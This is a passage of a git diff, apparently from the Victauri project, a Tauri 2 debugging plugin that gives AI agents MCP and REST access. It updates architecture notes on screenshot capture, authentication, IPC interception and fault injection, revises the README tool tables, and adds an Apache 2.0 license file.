browser mode no longer exists in this repo; see the note at the top of this file. Do not reintroduce it. +- **bridge.rs** — `WebviewBridge` trait (public) erases the Tauri `Runtime` generic, allowing the MCP handler (which can't be generic) to access webview windows AND backend resources via `Arc`. 18 methods. Required (8): eval_webview, get_window_states, list_window_labels, get_native_handle, manage_window, resize_window, move_window, set_window_title. With default implementations (10): `try_list_window_labels` (enumeration that can report failure instead of an empty list) and `eval_webview_resolved` (eval + returns the label it actually resolved to), the trusted-input trio `native_type_text`/`native_key`/`native_click` (Windows `SendInput` impl; defaults return "not implemented on this platform"), and backend access `app_data_dir`, `app_config_dir`, `app_log_dir`, `app_local_data_dir`, `tauri_config`. Impl provided for `AppHandle`, which routes ALL webview/window access through the main thread (`on_main`, serialized by `MAIN_DISPATCH_LOCK` since 0.8.8). Defaults mean mock bridges work without change. Cross-platform `get_native_handle`: Windows HWND, macOS CGWindowID (via ObjC runtime `windowNumber`), Linux Xlib/Xcb window ID. Testable via mock implementations. - **introspection.rs** — Backend introspection and chaos engineering types: `CommandTimings` (per-command timing with min/max/avg/p95 stats), `FaultRegistry` (fault injection rules with delay/error/drop/corrupt), `ContractStore` (IPC contract baselines with JSON shape diffing for schema drift detection), `StartupTimeline` (plugin init phase timestamps), `ChildProcessInfo` + `enumerate_child_processes()` (cross-platform child process enumeration via Windows `CreateToolhelp32Snapshot`, Linux `/proc`, macOS `proc_listchildpids`). All state is thread-safe (`RwLock` + poisoning recovery). `JsonShape` recursively extracts type structure from JSON for contract comparison. `diff_shapes()` detects new fields, removed fields, and type changes between baseline and current responses. - **mcp/** — Split into `mod.rs` (handler + server startup + tests), `server.rs` (Router + server lifecycle), `rest.rs` (REST API routes), `helpers.rs` (js_string, tool_error, validate_url, sanitize_css_color), and 8 param modules (webview, window, backend, verification, recording, introspection, compound, other). rmcp `#[tool_router]` + `#[tool_handler]` macros require all tool methods in a single `impl` block, so the handler stays monolithic. `build_app()` constructs the axum `Router` independently of Tauri (testable). `StreamableHttpService` serves on `/mcp`. REST API on `/api/tools`. Health/info endpoints on `/health` and `/info`. - **REST API** (`mcp/rest.rs`) — Dual-protocol: all 35 tools accessible via `POST /api/tools/{name}` with plain JSON body, no MCP session needed. `GET /api/tools` lists available tools. Uses the same `VictauriMcpHandler.execute_tool()` dispatch that applies privacy checks, rate limiting, auth, and output redaction. Response format: `{"result": ...}` for success, `{"error": "..."}` for errors. Text results parsed as JSON when valid. Goes through the same auth/rate-limit middleware as MCP. - **tools.rs** — Tauri commands still work independently for in-app IPC. Both the MCP tools and Tauri commands use the same `pending_evals` mechanism for JS eval with return. -- **screenshot.rs** — Windows: `PrintWindow` → `GetDIBits` (BGRA) → RGBA → PNG. macOS: `CGWindowListCreateImage` → `CGBitmapContext` (RGBA) → PNG. Linux: X11 `GetImage` (BGRA ZPixmap) → RGBA via `x11rb`, with Wayland fallback via `grim` subprocess (full-screen capture). All platforms use the same custom PNG encoder with flate2 zlib compression (CRC32 + Adler32). +- **screenshot.rs** — Windows: Windows.Graphics.Capture (DWM-composited surface, so transparent / GPU-composited windows capture correctly), falling back to GDI `PrintWindow` → `GetDIBits` (BGRA) → RGBA → PNG. macOS: `CGWindowListCreateImage` → `CGBitmapContext` (RGBA) → PNG. Linux: X11 `GetImage` (BGRA ZPixmap) → RGBA via `x11rb` (works on X11 and XWayland). Pure Wayland has no safe per-window capture path, so it fails with a clear error (the old full-screen `grim` fallback was removed in 0.8.1 — it leaked the whole desktop). All platforms use the same custom PNG encoder with flate2 zlib compression (CRC32 + Adler32). - **auth.rs** — Bearer token authentication, **enabled by default** with auto-generated UUID v4 token written to discovery directory. `auth_disabled()` to opt out, or `auth_token("...")` for a fixed token. `VICTAURI_AUTH_TOKEN` env var overrides. `require_auth` axum middleware skips `/health` but protects `/mcp` and `/info`. DNS rebinding guard validates Host header. Origin guard validates Origin header (URL-parsed, blocks subdomain smuggling). Security headers: nosniff, no-store, X-Frame-Options DENY, CORS null, CSP default-src none. Rate limiter returns Retry-After on 429. - **JS bridge injection** — Uses `js_init_script()` (persistent) instead of `on_webview_ready()` + `eval()` (one-shot). This ensures the bridge survives page navigations in Vite dev mode. MutationObserver init is deferred via `DOMContentLoaded` fallback to avoid crash when `document.documentElement` isn't ready during early script execution. Bridge includes Playwright-grade actionability (10-point checks + auto-wait), stable WeakRef handles, compact accessible-text snapshots, findElements search, full IPC data capture (request args + response body), network interception (fetch + XMLHttpRequest), navigation tracking (pushState/replaceState/popstate/hashchange), dialog capture with configurable auto-responses, waitFor polling, Playwright-style actionability checks (visible, enabled, non-zero size) for click/doubleClick/hover/fill/type, and **global error capture** (`window.onerror` + `unhandledrejection` → consoleLogs with `[uncaught]` prefix). Log caps: consoleLogs 1000, networkLog 1000, navigationLog 200, dialogLog 100. -- **IPC interception** — Tauri 2.0 freezes `__TAURI_INTERNALS__` and all its methods (`invoke`, `ipc`, `postMessage`) with `configurable:false, writable:false`. Plugin init scripts run AFTER Tauri's core init, so monkey-patching is impossible. Instead, IPC is derived from the network log: Tauri sends all IPC via `fetch()` to `http://ipc.localhost/`, and our fetch interceptor captures these. `getIpcLog()` filters networkLog entries for `ipc.localhost` URLs, extracts command names from the URL path, and excludes `plugin:victauri|` calls. This approach is robust against Tauri version changes and works on all platforms. +- **IPC interception** — Tauri 2.0 freezes `__TAURI_INTERNALS__` and all its methods (`invoke`, `ipc`, `postMessage`) with `configurable:false, writable:false`. Plugin init scripts run AFTER Tauri's core init, so monkey-patching is impossible. Instead, IPC is derived from the network log: Tauri sends IPC via `fetch()` to `http://ipc.localhost/` on Windows/WebView2 and to the custom `ipc://localhost/` scheme on macOS (WKWebView) and Linux (WebKitGTK); our fetch interceptor captures both (`IPC_PREFIXES` in `js_bridge.rs`). `getIpcLog()` filters networkLog entries for either IPC prefix, extracts command names from the URL path, and excludes `plugin:victauri|` calls. This approach is robust against Tauri version changes and works on all platforms. - **eval auto-return** — `eval_with_return()` auto-prepends `return` to bare expressions (e.g. `document.title` → `return document.title`). Decided by `should_prepend_return`: a string/template/comment-aware scan that only wraps a single bare expression — a top-level `;`, a top-level `return` token, a statement keyword (after stripping leading comments), or an ASI statement boundary (a depth-0 newline that is not a visible continuation, e.g. `foo()\nbar()`) all disable the prepend. - **Multi-window safety** — Default window selection prefers "main" → first visible → any, avoiding silent failures when hidden windows lack plugin capabilities. - **CSP compatibility** — `eval()` cannot be used inside injected scripts when CSP has `script-src 'self'` without `'unsafe-eval'`. The eval wrapper uses direct `(async () => { ... })()` pattern instead. ### Key technical decisions already made: -- MCP server is EMBEDDED in Tauri process (not separate), via axum on `:7373` with **port fallback** (tries :7374-7383 if taken, writes `victauri.port` to temp dir for client discovery) +- MCP server is EMBEDDED in Tauri process (not separate), via axum on `:7373` with **port fallback** (tries :7374-7383 if taken; the bound port is advertised in the per-process discovery dir `/victauri//port`) - `rmcp` 3.1.2 is the MCP SDK (was 1.5.0 until 0.8.8), feature `transport-streamable-http-server` - JS bridge uses ref handles (Playwright pattern), not CSS selectors - All plugin code gated behind `#[cfg(debug_assertions)]` — `init()` returns no-op plugin in release builds @@ -1066,25 +1066,25 @@ Tested against 4 third-party open-source Tauri 2 apps with fully built frontends - WebviewBridge trait object pattern for runtime-erased AppHandle access - `tokio::sync::Mutex` for pending_evals (async lock needed across eval timeout awaits) - `build_app()` separated from `start_server()` — router construction is testable without Tauri runtime -- IPC data pipeline derives from network log — `get_ipc_log`, `detect_ghost_commands`, `check_ipc_integrity` all call `__VICTAURI__` methods via `eval_with_return()`. IPC entries are extracted from networkLog by filtering `http://ipc.localhost/` URLs (Tauri's fetch-based IPC transport) +- IPC data pipeline derives from network log — `get_ipc_log`, `detect_ghost_commands`, `check_ipc_integrity` all call `__VICTAURI__` methods via `eval_with_return()`. IPC entries are extracted from networkLog by filtering Tauri's IPC URLs — `http://ipc.localhost/` (WebView2) or `ipc://localhost/` (WKWebView/WebKitGTK) - Eval timeout is 30s (not 10s) to support `wait_for` tool's configurable polling timeout - **Auto-event recording** — background `event_drain_loop` polls `getEventStream()` every 1s while recording is active, converting JS events (console, mutation, IPC, network, navigation) into `AppEvent` variants and feeding them into `EventRecorder`. Time-travel now works automatically without manual tool calls. -- **Port fallback** — `try_bind()` tries preferred port, then +1 through +10. Writes `/victauri.port` file for client discovery, removes on shutdown. `VictauriState.port` is `AtomicU16` updated to actual bound port. +- **Port fallback** — `try_bind()` tries preferred port, then +1 through +10. The bound port (plus token + `metadata.json` identity) is written to the per-process discovery dir `/victauri//`, removed on shutdown. `VictauriState.port` is `AtomicU16` updated to actual bound port. - **Dual-protocol (MCP + REST)** — REST routes (`/api/tools`) are nested in the axum Router alongside `/mcp`, sharing the same auth/rate-limit/security middleware. `VictauriMcpHandler::execute_tool()` dispatches by tool name, deserializes JSON args into the appropriate param struct, and calls the rmcp `#[tool]` method directly. No MCP session or handshake needed for REST calls. -- **REST is the robust path for agent scripting (not a fallback)** — Verified against live 4DA (2026-05-31): MCP over `/mcp` is **session-stateful** — rmcp's `StreamableHttpService` rejects a tool call with HTTP **422 "expected initialized request"** whenever the session is stale (client reconnect, server restart, missed `notifications/initialized`). REST over `POST /api/tools/{name}` is **sessionless** — every call is self-contained, so it sidesteps that whole failure class while going through the identical auth/rate-limit/privacy/dispatch pipeline (zero capability loss). The only practical delta: REST returns `{"result": ...}`/`{"error": ...}` JSON instead of MCP envelopes, and resource *subscriptions* (push) remain MCP-only. **Guidance: for one-shot tool calls and any scripted/agent-driven loop, prefer REST; reserve MCP for interactive sessions that want live resource subscriptions.** The 422 is an rmcp transport-layer behaviour, not a Victauri bug — REST exists precisely so it never blocks real work. `eval_js` over REST was the workhorse in the 4DA animation investigation. +- **REST is the robust path for agent scripting (not a fallback)** — *History (2026-05-31, live 4DA):* MCP over `/mcp` was then **session-stateful**, and rmcp's `StreamableHttpService` rejected a tool call with HTTP **422 "expected initialized request"** whenever the session was stale (client reconnect, server restart, missed `notifications/initialized`). *Now:* `/mcp` is **stateless by default** (since 0.7.10; on rmcp 3.x a `2026-07-28` client is always served statelessly, and legacy clients get the constant `Mcp-Session-Id: stateless` backfill from 0.8.4), so that 422 class is gone; `build_app_stateful` remains only for legacy clients that want sessions. REST over `POST /api/tools/{name}` is **sessionless** — every call is self-contained, so it sidesteps that whole failure class while going through the identical auth/rate-limit/privacy/dispatch pipeline (zero capability loss). The only practical delta: REST returns `{"result": ...}`/`{"error": ...}` JSON instead of MCP envelopes, and MCP resources are MCP-only (read on demand — no push). **Guidance: for one-shot tool calls and any scripted/agent-driven loop, prefer REST; use MCP (via the `victauri bridge` stdio proxy) for interactive agent sessions.** `eval_js` over REST was the workhorse in the 4DA animation investigation. - **Auth enabled by default** — Auto-generates a UUID v4 Bearer token on startup, written to `/victauri//token`. `VictauriClient::discover()` reads it automatically. `auth_disabled()` to opt out for simple local-only setups. `auth_token("...")` or `VICTAURI_AUTH_TOKEN` env var for fixed tokens. DNS rebinding guard + origin guard + security headers applied to all responses. - **CLAUDE.md scaffolding** — `victauri init` creates/appends CLAUDE.md with instructions that make AI agents prefer Victauri's 35 MCP tools over CDP/Playwright. This is the highest-leverage fix for agent tool selection — agents read CLAUDE.md before choosing tools. - **`register_command_names` builder API** — Lightweight alternative to `#[inspectable]` proc macros. Pass `&["cmd1", "cmd2"]` to register commands without schema generation. `commands()` method accepts full `CommandInfo` schemas for rich metadata. - **`__TAURI_INTERNALS__` not `__TAURI__`** — All eval callbacks and invoke_command use `window.__TAURI_INTERNALS__.invoke()`, NOT `window.__TAURI__.core.invoke()`. `__TAURI_INTERNALS__` is always available regardless of `withGlobalTauri` config. `window.__TAURI__` only exists when the app sets `withGlobalTauri: true`. Discovered via real-world testing against En Croissant (v0.2.1 fix). -- **Fault injection architecture** — The `fault` tool injects rules into `FaultRegistry` (thread-safe `RwLock`). The check lives in the MCP `invoke_command` tool (`mcp/mod.rs`, the `FaultType` match), running before that tool executes a command. Fault types: `Delay` (tokio::sleep before execution), `Error` (return error, skip execution), `Drop` (return `{}`), `Corrupt` (execute then mangle response). Trigger counting with optional `max_triggers` limit. **SCOPE (verified 2026-05-31, agent-eval):** faults apply ONLY to commands driven through Victauri's own `invoke_command` tool — they do NOT intercept the app's real frontend IPC (`window.__TAURI_INTERNALS__.invoke`). That path is served below the JS `window.fetch` layer Victauri can reach, so it cannot be blocked/delayed/faulted cross-platform without CDP (confirmed empirically: a `route` block/delay on `ipc.localhost` *matches* the call but does NOT control it — the real `invoke` still succeeds with no delay). So `fault` tests a handler's error path when the agent drives it; it does NOT reproduce a failure a user clicking the UI would experience. Honest framing: this is an *agent-driven backend-handler* fault tool, not live-IPC chaos — and Tauri IPC *control* is actually a place where a CDP-based tool can do more than Victauri. +- **Fault injection architecture** — The `fault` tool injects rules into `FaultRegistry` (thread-safe `RwLock`). The check lives in the MCP `invoke_command` tool (`mcp/mod.rs`, the `FaultType` match), running before that tool executes a command. Fault types: `Delay` (tokio::sleep before execution), `Error` (return error, skip execution), `Drop` (return `{}`, skip execution), `Corrupt` (execute, then return a fixed `{"__corrupted":true,"original_length":N,"fault":"corrupt"}` marker). Trigger counting with optional `max_triggers` limit; every rule auto-expires after `FAULT_TTL` (15 min). **SCOPE (verified 2026-05-31, agent-eval):** faults apply ONLY to commands driven through Victauri's own `invoke_command` tool — they do NOT intercept the app's real frontend IPC (`window.__TAURI_INTERNALS__.invoke`). That path is served below the JS `window.fetch` layer Victauri can reach, so it cannot be blocked/delayed/faulted cross-platform without CDP (confirmed empirically: a `route` block/delay on `ipc.localhost` *matches* the call but does NOT control it — the real `invoke` still succeeds with no delay). So `fault` tests a handler's error path when the agent drives it; it does NOT reproduce a failure a user clicking the UI would experience. Honest framing: this is an *agent-driven backend-handler* fault tool, not live-IPC chaos — and Tauri IPC *control* is actually a place where a CDP-based tool can do more than Victauri. - **Command profiling** — `invoke_command` records execution duration in `CommandTimings` per command. `introspect.command_timings` aggregates min/max/avg/p95 with optional slow-command threshold filtering. The timing includes the full round-trip: JS eval injection → `__TAURI_INTERNALS__.invoke()` → Tauri IPC → Rust handler → response serialization → JS callback. - **IPC contract testing** — `contract_record` invokes a command and records the JSON shape (recursive type structure) of the response. `contract_check` re-invokes all baselined commands and diffs against recorded shapes, detecting new fields, removed fields, and type changes. This catches silent IPC breaking changes that tests miss. - **EventBusMonitor** — `Arc>>` ring buffer (1000 capacity) for Tauri native events. Automatic capture of window lifecycle events (focus, blur, resize, close, move, etc.) via `RunEvent::WindowEvent` handler — no app opt-in needed. Custom app events captured via `VictauriBuilder::listen_events(&["event-name"])` which registers `listen_any` handlers. Combined with `EventLog` app events in the `introspect.event_bus` action for a unified event timeline. - **TaskTracker** — Tracks spawned async tasks (MCP server, event drain loop, on_ready probe) via `Arc` finished flags. `introspect.plugin_tasks` reports active/finished counts. Helps agents diagnose background task failures. - **Plugin state introspection** — `introspect.plugin_state` serializes the full `VictauriState` internals: event counts, registry size, recording state, active faults, contract baselines, timing data, task status, tool invocations, uptime, and port. Answers "what does the plugin know?" in one call. - **IPC replay** — `recording.replay` re-invokes the recorded IPC commands that succeeded with no arguments and reports each response type. Recordings do NOT capture arguments, so calls that had arguments (`arg_size_bytes > 0`), failed, or never completed are skipped and reported — replaying them without arguments is guaranteed wrong. Side effects of replayed commands happen again. No response-shape diff (use `introspect contract_*` for that). -- **Explain tool** — Natural-language narration via `explain` compound tool. `summary` aggregates EventLog events over a time window into a narrative with type counts (IPC, DOM, console, state, window, interaction) and top commands. `last_action` maps events to a causal chain. `diff` counts IPC calls, DOM changes, console messages, errors, and interactions. All use `EventLog.since()` for time-windowed queries with `chrono::TimeDelta`. Internal Victauri events filtered via `AppEvent::is_internal()`. -- **Bridge ready signal** — JS bridge calls `victauri_eval_callback` with ID `__victauri_bridge_ready__` at the end of its IIFE initialization. `VictauriState.bridge_ready` (`AtomicBool`) + `bridge_notify` (`tokio::sync::Notify`) track readiness. `eval_with_return_timeout` waits up to 5s for this signal before first eval, using double-check pattern to close the race window. Eliminates first-call latency from the 2s probe mechanism. Per-window probing still used for explicitly targeted windows. +- **Explain tool** — Natural-language narration via `explain` compound tool. `summary` aggregates events over a time window into a narrative with type counts (IPC, DOM, console, state, window, interaction) and top commands. `last_action` maps events to a causal chain. `diff` counts IPC calls, DOM changes, console messages, errors, and interactions. Event source (`explain_events`): while recording, `EventLog.since()` (the drain keeps it current); otherwise the bridge's `getEventStream` is read ON DEMAND (not written into `EventLog`, so a later recording never double-counts). Network events are tallied as state changes and navigations as window events. Internal Victauri events filtered via `AppEvent::is_internal()`. +- **Bridge ready signal** — JS bridge calls `victauri_eval_callback` with ID `__victauri_bridge_ready__` at the end of its IIFE initialization. `VictauriState.bridge_ready` (`AtomicBool`) + `bridge_notify` (`tokio::sync::Notify`) track readiness. `eval_with_return_timeout` waits up to 5s for this signal before first eval, using double-check pattern to close the race window. Separately, a liveness probe runs before EVERY eval — the default window as well as labeled ones (since 0.8.0) — so a dead/reloading bridge fails fast (~2s) instead of hanging the full eval timeout. - **Discovery session tokens** — `start_server()` writes the active auth token to `/victauri//token` (user-only permissions: Unix 0o600, Windows icacls current-user-only). `VictauriClient::discover()` reads the token file and includes it as Bearer header. Zero-config: auth is on, token is auto-discovered, no manual setup needed. - **`AppEvent::Console` variant** — `#[non_exhaustive]` `AppEvent` enum now has `Console { level, message, timestamp }` instead of mapping console logs to `StateChange { key: "console.warn", caused_by: message }`. Explain handlers count console events separately. `parse_bridge_event()` in `server.rs` creates `Console` variants. Backward-compatible addition (non-exhaustive enum). diff --git a/README.md b/README.md index 394c207b..3a20a60d 100644 --- a/README.md +++ b/README.md @@ -39,14 +39,14 @@ That same server also speaks [MCP](https://modelcontextprotocol.io), so any AI a - **Ghost command detection** — find high-confidence orphaned frontend calls (`confirmed_ghosts`: invoked but only ever errored "not found"), and backend commands the frontend never calls - **Cross-boundary state checking** — compare DOM state against Rust backend state and catch the drift between them - **Time-travel recording** — record interactions, checkpoint state, replay sequences, generate test files -- **Cross-platform, no WebDriver** — identical behavior on macOS, Windows, and Linux; runs headless in CI under `xvfb` -- **Zero runtime cost in release** — the server is gated behind `#[cfg(debug_assertions)]`, so `init()` is a no-op and nothing listens in release builds. (The crate still compiles in; add it as a `dev-dependency` if you want it absent from the release binary entirely.) +- **Cross-platform, no WebDriver** — the same tool surface on macOS, Windows, and Linux (no CDP dependency); runs headless in CI under `xvfb`. Platform limits are documented, not hidden: trusted (OS-level) input is Windows-only (other platforms fall back to synthetic events), and window screenshots need X11/XWayland on Linux (pure Wayland fails with a clear error) +- **Zero runtime cost in release** — the server is gated behind `#[cfg(debug_assertions)]`, so `init()` is a no-op and nothing listens in release builds. Add `victauri-plugin` as a normal `[dependencies]` entry (the app binary cannot see `[dev-dependencies]`); the crate still compiles in, so to keep it out of release binaries entirely make it an optional dependency behind a Cargo feature and gate the `.plugin(...)` call on that feature **Bonus — for AI agents:** the same server speaks MCP, so Claude Code, Cursor, Windsurf, and any MCP client get this full-stack access for interactive debugging — no extra setup. ## Will Victauri work on your app? -Victauri is a **build-time dev dependency you add to your own app's source and rebuild** — not a tool you attach to an already-running or shipped app. It works when **all four** hold: +Victauri is a **development-time dependency you add to your own app's source and rebuild** (a normal `[dependencies]` entry — not `[dev-dependencies]`, which the app binary cannot use) — not a tool you attach to an already-running or shipped app. It works when **all four** hold: 1. **Tauri 2.** Tauri 1.x apps can't host it — their `webkit2gtk-sys 0.18` and Victauri's `2.x` both link the native `web_kit2` library, an unresolvable cargo conflict. (Tauri 2 is the current major; Tauri 1 is legacy.) 2. **Built from source** with the plugin wired in — one line in `Cargo.toml`, `.plugin(victauri_plugin::init())`, and a `victauri:default` capability. There is no inject-into-a-foreign-binary path. @@ -266,7 +266,7 @@ See the [Testing Guide](docs/src/testing.md) for IPC checkpoints, visual regress | `list_app_dir` | Browse files in app data/config/log/local_data directories | | `read_app_file` | Read files from app backend directories (UTF-8 or base64) | | `query_db` | Read-only SQLite queries with auto-discovery | -| `invoke_command` | Call any Tauri command directly through IPC | +| `invoke_command` | Call any Tauri command through the app's real IPC path (dispatched via the webview's `invoke`, so it needs a live window) | | `app_state` | Read app-defined backend-state probes (pipeline/queue/cache internals) — no IPC round-trip | | `get_memory_stats` | Real-time OS process memory (working set, page faults) | @@ -295,16 +295,19 @@ See the [Testing Guide](docs/src/testing.md) for IPC checkpoints, visual regress | Tool | Actions | |---|---| -| **`interact`** | `click`, `double_click`, `hover`, `focus`, `scroll`, `select` | -| **`input`** | `fill`, `type_text`, `press_key` (keyboard combos supported) | -| **`window`** | `get_state`, `list`, `manage`, `resize`, `move`, `set_title` | -| **`storage`** | `get`, `set`, `delete`, `cookies` | -| **`navigate`** | `go_to`, `back`, `history`, `dialogs` | -| **`recording`** | `start`, `stop`, `checkpoint`, `events`, `export`, `import` | -| **`inspect`** | `styles`, `bounds`, `highlight`, `audit_accessibility`, `get_performance` | -| **`logs`** | `console`, `network`, `ipc`, `navigation`, `dialogs`, `events`, `slow_ipc` | +| **`interact`** | `click`, `double_click`, `hover`, `focus`, `scroll_into_view`, `select_option` | +| **`input`** | `fill`, `type_text`, `press_key` (keyboard combos supported; `trusted: true` = OS-level input, Windows only) | +| **`window`** | `get_state`, `list`, `manage`, `resize`, `move_to`, `set_title`, `introspectability` | +| **`storage`** | `get`, `set`, `delete`, `get_cookies` | +| **`navigate`** | `go_to`, `go_back`, `get_history`, `set_dialog_response`, `get_dialog_log` | +| **`recording`** | `start`, `stop`, `checkpoint`, `list_checkpoints`, `get_events`, `events_between`, `get_replay`, `export`, `import`, `replay`, `flush` | +| **`inspect`** | `get_styles`, `get_bounding_boxes`, `highlight`, `clear_highlights`, `audit_accessibility`, `get_performance` | | **`css`** | `inject`, `remove` | -| **`introspect`** | `command_timings`, `coverage`, `contract_record`, `contract_check`, `startup_timing`, `capabilities`, `db_health`, `plugin_state`, `processes`, `plugin_tasks`, `event_bus` | +| **`route`** | `add` (block / fulfill / delay fetch+XHR), `list`, `clear`, `clear_all`, `matches` | +| **`trace`** | `start`, `stop`, `status`, `frames` (background screencast ring buffer) | +| **`animation`** | `list`, `scrub`, `sample` (Web Animations API — no CDP) | +| **`logs`** | `console`, `network`, `ipc`, `navigation`, `dialogs`, `events`, `slow_ipc`, `clear` | +| **`introspect`** | `command_timings`, `coverage`, `command_catalog`, `contract_record`, `contract_check`, `contract_list`, `contract_clear`, `startup_timing`, `capabilities`, `db_health`, `plugin_state`, `processes`, `plugin_tasks`, `event_bus`, `event_bus_clear` | | **`fault`** | `inject` (delay/error/drop/corrupt), `list`, `clear`, `clear_all` | | **`explain`** | `summary`, `last_action`, `diff` | | `get_plugin_info` | Plugin config: port, tools, privacy, version | diff --git a/crates/victauri-cli/LICENSE b/crates/victauri-cli/LICENSE new file mode 100644 index 00000000..bed34b88 --- /dev/null +++ b/crates/victauri-cli/LICENSE @@ -0,0 +1,190 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + Copyright 2026 4DA Systems Pty Ltd + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/crates/victauri-cli/src/main.rs b/crates/victauri-cli/src/main.rs index 9d3c7e3f..d477d530 100644 --- a/crates/victauri-cli/src/main.rs +++ b/crates/victauri-cli/src/main.rs @@ -218,8 +218,7 @@ fn cmd_init(root: &Path) -> Result<()> { } } else { let app_id = read_app_identifier(root.as_path()); - std::fs::write(&mcp_json_path, generate_mcp_json(app_id.as_deref())) - .with_context(|| format!("failed to write {}", mcp_json_path.display()))?; + 